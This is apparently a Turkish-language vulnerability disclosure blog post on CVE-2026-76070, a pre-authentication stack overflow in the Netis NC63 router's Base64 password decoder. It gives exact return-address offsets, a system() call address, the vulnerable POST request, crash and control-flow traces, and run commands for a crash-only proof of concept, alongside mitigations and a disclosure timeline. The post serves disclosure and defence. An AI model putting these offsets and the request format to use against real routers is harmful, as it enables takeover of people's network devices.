← back to blog
EN TR

CVE-2026-76070: Netis NC63 Pre-Auth login.cgi Base64 Stack Buffer Overflow ile RCE

On this page

Netis NC63 | CVE-2026-76070 | Pre-Auth login.cgi Base64 Stack Buffer Overflow ile RCE

Zafiyet: Pre-Authentication Stack Buffer OverflowRemote Code Execution

CVE: CVE-2026-76070

Resmi Başlık: Unauthenticated Pre-Auth Stack Buffer Overflow via Base64-Decoded Password in Netis NC63 login.cgi Leading to RCE

CVE Durumu: VulnCheck tarafından atandı; yazı hazırlanırken kayıt detayları henüz populate edilmemişti

Araştırmacı: Özcan Ersan (@ozcanpng)


Giriş

Bu yazıda Netis NC63 V3.0.0.3327 firmware’indeki public login handler üzerinde tespit ettiğim CVE-2026-76070 zafiyetini anlatıyorum.

Problemi yalnızca “Base64 zafiyeti” diye tanımlamak doğru değil. Base64 burada frontend’in kullandığı input transformation katmanı. Asıl güvenlik hatası, /bin/netis.cgi içindeki custom decoder’ın attacker-controlled veriyi sabit 64-byte stack buffer içine yazarken destination capacity bilgisini almaması ve decoded length’i önceden doğrulamaması.

Unsafe decode, gönderilen parola cihazdaki administrator password ile karşılaştırılmadan önce gerçekleşiyor. Dolayısıyla geçerli parola, authenticated session, Cookie veya Authorization header gerekmiyor.

Testleri original-hash production CGI ile disposable qemu-mipsel runtime içinde yaptım. Saved return-address kontrolü, program-counter kontrolü ve attacker-selected bir argümanın original system() path’ine ulaşması dinamik olarak gözlemlendi. Son command-interpreter boundary’de gerçek shell yerine observation-only logger kullanıldığı için hiçbir komut çalıştırılmadı.


Etkilenen Hedef

AlanDeğer
VendorNetis Systems Co., Ltd.
ÜrünNetis NC63 Wireless AC1200 Router
FirmwareNC63_V3.0.0.3327
MimariMIPS32r2 little-endian, o32 ABI, uClibc
Web serverBoa/0.94.14rc21
CGI binary/bin/netis.cgi
EndpointPOST /cgi-bin/login.cgi
ParametreBase64-encoded password
AuthenticationYok; unsafe decode pre-authentication aşamasında

Firmware ve binary hash’leri:

193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792  netis_NC63_V3.0.0.3327.bin
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b  squashfs-root/bin/boa
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2  squashfs-root/bin/netis.cgi

Original ve runtime binary hash'leri


Kısa Özet

Unauthenticated HTTP client
  |
  | POST /cgi-bin/login.cgi
  | password=<attacker-controlled Base64>
  v
/bin/netis.cgi: FUN_0041a2e0
  |
  | get_request_param("password")
  v
FUN_00402bd4(decoded_stack_buffer, encoded_password)
  |
  | destination capacity aktarılmıyor
  | decoded output 64 byte'ı aşıyor
  v
saved s8: decoded offset 132
saved ra: decoded offset 136
  |
  v
attacker-selected MIPS PC
  |
  v
privileged CGI context içinde RCE primitive

Doğrulanan temel ölçümler:

  • decoded buffer kapasitesi: 64 byte
  • saved frame-pointer offset’i: 132 byte
  • saved return-address offset’i: 136 byte
  • login handler başlangıcı: 0x0041a2e0
  • custom decoder: FUN_00402bd4
  • direct jal system: 0x0041a3cc

Attack Surface ve Authentication Durumu

Frontend parolayı dönüştürerek public login endpoint’ine gönderiyor:

obj.password = base64encode(utf16to8(password));
request({
    url: "/cgi-bin/login.cgi",
    data: obj
});

HTML input üzerinde client-side bir limit bulunuyor:

<input type="password" id="login_pwd" maxlength="63" />

Frontend Base64 request ve browser-only limit

Direct HTTP client bu attribute ile sınırlı değil. Vulnerable request biçimi:

POST /cgi-bin/login.cgi HTTP/1.0
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: ...

password=<Base64-encoded decoded pattern>

Login endpoint zaten authentication öncesinde credential kabul etmek zorunda. Kritik nokta, decoder çağrısının strcmp(decoded, stored) işleminden önce yapılması. Yanlış parola gönderildiğinde bile handler karar vermeden önce current stack frame bozuluyor.


Root Cause: Decoded Length ile Destination Capacity Eşleştirilmiyor

İsimleri okunabilirlik için normalize edilmiş Ghidra pseudocode:

int login_cgi(void *request)
{
    char decoded[64];
    char stored[68];
    char *password;

    memset(decoded, 0, 64);
    memset(stored, 0, 64);
    password = get_request_param(request, "password");
    if (password != NULL)
        FUN_00402bd4(decoded, password); /* no capacity argument */

    apmib_get(0x15e, stored);
    if (strcmp(decoded, stored) == 0)
        printf("[\"SUCCESS\"]");
    else {
        system("echo 0 >/tmp/boa_auth");
        printf("[\"%d\"]", 0x15);
    }
    return 0;
}

Vulnerable login handler

FUN_00402bd4 destination ve source pointer alıyor, fakat destination length almıyor. Loop, her tam dört Base64 symbol için üç output byte’a kadar yazıyor:

00402c70  move  t8,s1
00402c74  addiu s1,t8,1
...
00402ccc  sb    v0,0(t8)

00402cd0  move  t8,s1
00402cd4  addiu s1,t8,1
...
00402d30  sb    v0,0(t8)

00402d34  move  t8,s1
00402d38  addiu s1,t8,1
...
00402d8c  sb    v0,0(t8)

Unbounded custom Base64 decoder loop

Normal Base64’te dört encoded symbol en fazla üç decoded byte üretir. Sadece encoded text’i kontrol etmek veya browser’daki clear-text password limitine güvenmek yeterli değildir. Server, padding’i hesaba katarak decoded size’ı hesaplamalı, gerekiyorsa terminator için alan ayırmalı ve destination’a sığmayan değeri decode etmeden reddetmelidir.


Stack Corruption Analizi

Login handler 168-byte (0xa8) stack frame oluşturuyor:

0041a2e0  addiu sp,sp,-168
0041a2e4  sw    ra,164(sp)
0041a2e8  sw    s8,160(sp)
0041a2ec  move  s8,sp

Decoded buffer s8+0x1c adresinde başlıyor:

0041a35c  addiu t8,s8,28
0041a360  move  a0,t8
0041a364  lw    a1,24(s8)
0041a368  jal   0x00402bd4

Epilogue, saved state’i s8+0xa0 ve s8+0xa4 adreslerinden restore ediyor:

decoded buffer       s8+0x1c   decoded offset 0
buffer capacity                  64 byte
saved frame pointer  s8+0xa0   decoded offset 132
saved return address s8+0xa4   decoded offset 136

Saved return distance 0xa4 - 0x1c = 0x88, yani tam 136 byte.

Login stack frame ve saved-return offset


Dinamik Doğrulama

1. Saved Return Address 0x42424242 ile Değiştirildi

Password değeri decode edildiğinde tam 140 B byte üreten POST body şu sonucu verdi:

open("/tmp/boa_auth", O_RDONLY) = -1 ENOENT
--- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x42424242} ---
qemu: uncaught target signal 11 (Segmentation fault)

Attacker-selected saved return address üzerinde fault

Bu çıktı, HTTP-controlled decoded byte’ların saved ra alanına ulaştığını gösteriyor; sonuç yalnızca statik offset hesabına dayanmıyor.

2. Kontrollü Program Counter

İkinci 140-byte input saved ra değerini login handler’ın fixed entry adresi 0x0041a2e0 ile değiştirdi. QEMU CPU log, normal ilk entry’den sonra overwritten state ile ikinci entry’yi kaydetti:

login_entry_hit=2 pc=0x0041a2e0 ...
GPR28: ... s8 41414141 ra 0041a2e0
PASS: first hit is normal dispatch; second hit is the overwritten RA.

Login handler'a kontrollü ikinci entry

3. Observation-Only RCE Boundary

Production binary 0x0041a3cc adresinde direct jal system içeriyor. Private non-destructive doğrulamada mevcut fixed-base instruction’lar MIPS a0 register’ına marker yükleyerek bu call’a ulaştı. Disposable namespace içinde /bin/sh, üçüncü argümanı hiçbir zaman yorumlamayan logger ile değiştirildi:

argv[0]=</bin/sh>
argv[1]=<-c>
argv[2]=<NC63_RCE_PROOF>
CONTROLLED_MARKER_REACHED
PASS: attacker-controlled a0 reached system() and /bin/sh argv.
PASS: the guard logged the request and executed no command.

Overflow, saved return-address control, PC control, a0 control ve original system() transfer production CGI içinde gerçekleşiyor. Shell’in logger ile değiştirilmesi sadece son boundary’yi değiştirerek argümanın komut çalıştırmadan gözlemlenmesini sağlıyor.

Test, isolated environment içinde RCE primitive’i kanıtlıyor. Physical cihazın deployed kernel ve address-randomization davranışı altında aynı exploit reliability’ye sahip olduğunu ayrıca kanıtlamıyor.


Privilege ve Hardening Bağlamı

Original Boa configuration CGI ortamını root olarak çalıştırıyor:

User root
Group root
CGIPath /bin:/usr/bin:/web/cgi-bin/

Original Boa root CGI configuration

Production netis.cgi aynı zamanda fixed-base MIPS executable; stack canary ve RELRO yok, GNU stack executable ve RWX segment bulunuyor.

Binary hardening durumu

Bu özellikler exploitation’ı kolaylaştırıyor, fakat RCE sonucu yalnızca mitigation eksikliklerine değil dinamik control-flow ve guarded argument evidence’a dayanıyor.


Güvenli Public Proof of Concept

Public repository’deki minimal Python generator varsayılan olarak yalnızca 140 B byte’a decode edilen Base64 form body’yi yazdırıyor:

python3 poc/poc.py

Request göndermek için authorized target ve --send açıkça belirtilmeli:

python3 poc/poc.py --target http://192.168.1.1 --send

Pattern’in gönderilmesi CGI process’i crash edebilir. Public PoC içinde return chain, shellcode, command, reverse shell veya persistence yok. Observation-only RCE’nin tam kanıtı screenshot ve trace olarak sunuluyor; network exploit weaponize edilmiyor.


Etki

Management interface’e erişebilen unauthenticated attacker, decoded-password stack overflow’u exploit ederek router-management context içinde attacker-selected code veya command çalıştırabilir. Production Boa configuration CGI’yi root olarak çalıştırıyor.

Olası etkiler:

  • tam router compromise
  • router configuration ve stored secret’ların disclosure veya modification’ı
  • trusted configuration ve service’lerin değiştirilmesi
  • DNS, firewall ve routing manipulation
  • traffic interception, modification veya redirection
  • post-compromise erişim üzerinden credential theft
  • olası bir follow-on action olarak persistent compromise
  • management service veya cihaz disruption

Default realistic exposure genellikle router management interface’e adjacent-network access’tir. Remote management aktifse veya interface başka bir şekilde exposed ise attack surface network-reachable hale gelebilir. Persistence ve physical-device exploit reliability dinamik olarak test edilmedi.


Sınıflandırma

Bu yazı hazırlanırken atanmış CVE kaydı henüz populate edilmemişti. Aşağıdaki değerler VulnCheck-published score değil, researcher assessment’tır:

Researcher-assessed CVSS v3.1 (typical adjacent management network): 8.8
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Conditional routable-management score: 9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • CWE-121: Stack-based Buffer Overflow
  • Related: CWE-120 — Buffer Copy without Checking Size of Input

Mitigation

  1. FUN_00402bd4, destination capacity alan güvenli bir decoder API ile değiştirilmeli.
  2. Terminator için yer ayrılarak calculated decoded length 63 byte’ı aşıyorsa input reddedilmeli.
  3. Length ve Base64 syntax kontrolleri decode öncesinde server-side uygulanmalı.
  4. Custom decoder’ın bütün caller’ları audit edilmeli.
  5. Binary stack canary, PIE, NX ve RELRO ile yeniden build edilmeli.
  6. Web-management component’leri least privilege ile çalıştırılmalı.

Disclosure Timeline

  • 2026-08-16: discovery ve isolated production-binary validation tamamlandı.
  • Ağustos 2026: VulnCheck’e raporlandı.
  • 2026-08-20: VulnCheck CVE-2026-76070 ID’sini atadı ve public disclosure izni verdi.
  • 2026-08-20: public disclosure paketi hazırlandı; remote publication explicit push onayını bekliyor.

Disclosure Note

VulnCheck, CVE-2026-76070 ID’sini 2026-08-20 tarihinde atadı ve public disclosure izni verdi.

Destructive validation bilinçli olarak yapılmadı. Public proof of concept yalnızca non-executable crash pattern kullanıyor. RCE validation observation-only /bin/sh -c boundary’sinde durduruldu ve hiçbir komut çalıştırılmadı.


Referanslar

Physical router flash’lanmadı, gerçek komut çalıştırılmadı ve persistence, external connection, credential theft veya destructive operation gerçekleştirilmedi.